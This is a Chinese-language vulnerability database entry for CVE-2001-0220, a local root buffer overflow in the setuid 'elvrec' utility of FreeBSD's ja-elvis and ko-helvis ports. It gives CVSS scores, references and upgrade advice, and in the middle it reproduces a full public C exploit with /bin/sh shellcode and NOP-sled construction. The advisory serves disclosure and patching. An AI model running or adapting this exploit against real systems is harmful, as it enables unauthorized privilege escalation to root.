CVE-2001-0220
CVSS7.2
发布时间 :2001-06-02 00:00:00
修订时间 :2008-09-05 16:23:34
NMCOE    

[原文]Buffer overflow in ja-elvis and ko-helvis ports of elvis allow local users to gain root privileges.


[CNNVD]elvis ja-elvis和ko-helvis端口缓冲区溢出漏洞(CNNVD-200106-007)

        elvis的ja-elvis和ko-helvis端口存在缓冲区溢出漏洞。本地用户利用该漏洞获取根特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:ja-elvis:ja-elvis:1.8.4_1
cpe:/a:ko-helvis:ko-helvis:1.8h2_1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0220
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0220
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-007
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/freebsd/2001-02/0082.html
(VENDOR_ADVISORY)  FREEBSD  FreeBSD-SA-01:21

- 漏洞信息

elvis ja-elvis和ko-helvis端口缓冲区溢出漏洞
高危 缓冲区溢出
2001-06-02 00:00:00 2005-10-20 00:00:00
本地  
        elvis的ja-elvis和ko-helvis端口存在缓冲区溢出漏洞。本地用户利用该漏洞获取根特权。

- 公告与补丁

        

- 漏洞信息 (287)

FreeBSD 3.5.1/4.2 Ports Package elvrec Local Root Exploit (EDBID:287)
bsd local
2001-03-03 Verified
0 dethy
N/A [点击下载]
/*
 * ja-elvis & ko-helvis - FreeBSD 3.5.1 & 4.2 ports package local root exploit
 *
 * vulnerable: versions prior to ja-elvis-1.8.4_1 and ko-helvis-1.8h2_1
 * 
 * The above two packages contain a file recovery utility 'elvrec', installed
 * suid root(4755) by default. The utility is subject to a buffer overflow 
 * leading to root privileges:
 *
 * Usage: ./elvwreck <offset> <alignment>
 * 
 * dethy@synnergy.net // www.synnergy.net
 * 28 Feb 2001.
 *
 */ 

#include <stdio.h>
#include <stdlib.h>
#define PROG	"/usr/local/bin/elvrec"
#define VULN	608
#define BSIZE	1024
#define NOP	0x90
#define ESP	0xbfbff92c	// FreeBSD 4.2
#define OFFSET	0
#define EATME	1		// byte alignment

char shellcode[]= 
  "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
  "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
  "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
  "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
  "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
  "\x02\x02\x02/bin/sh.-c.sh";

int main(int argc, char *argv[]) {
  char buffer[BSIZE];
  long address=ESP;
  int i, offset, align;

  if(argc > 1) { offset = atoi(argv[1]); align = atoi(argv[2]); } 
  else { offset = OFFSET; align = EATME; }

  address += offset;
  fprintf(stderr, "\n* using ret %#x -> align %d -> offset %d\n\n", address, align, offset); 

  for(i=align; i<VULN; i+=4){ *(long *)&buffer[i] = address; }
  for(i=VULN; i<(BSIZE - strlen(shellcode) - 100); i++){ buffer[i] = NOP; }
  memcpy(buffer+i, shellcode, strlen(shellcode));
  buffer[BSIZE] = '\0';

  if(execlp(PROG, "elvrec", buffer, 0)) {
    fprintf(stderr, "Unable to execute %s\n\n", PROG);
    exit(1);
  }
}


// milw0rm.com [2001-03-03]
		

- 漏洞信息

13807
ja-elvis elvrec Utility Local Overflow
Local Access Required Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity, Loss of Availability
Exploit Public

- 漏洞描述

A local overflow exists in ja-elvis .The ja-elvis contain an exploitable buffer overflow in the elvrec utility.Because elvrec is setuid root,With a specially crafted request unprivileged local users may gain root privileges on the local system ,resulting in a loss of confidentiality, integrity, and availability.

- 时间线

2001-02-07 Unknow
2001-02-28 Unknow

- 解决方案

Upgrade to version 1.8.4_1 or higher and rebuild ja-elvis, as it has been reported to fix this vulnerability.An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站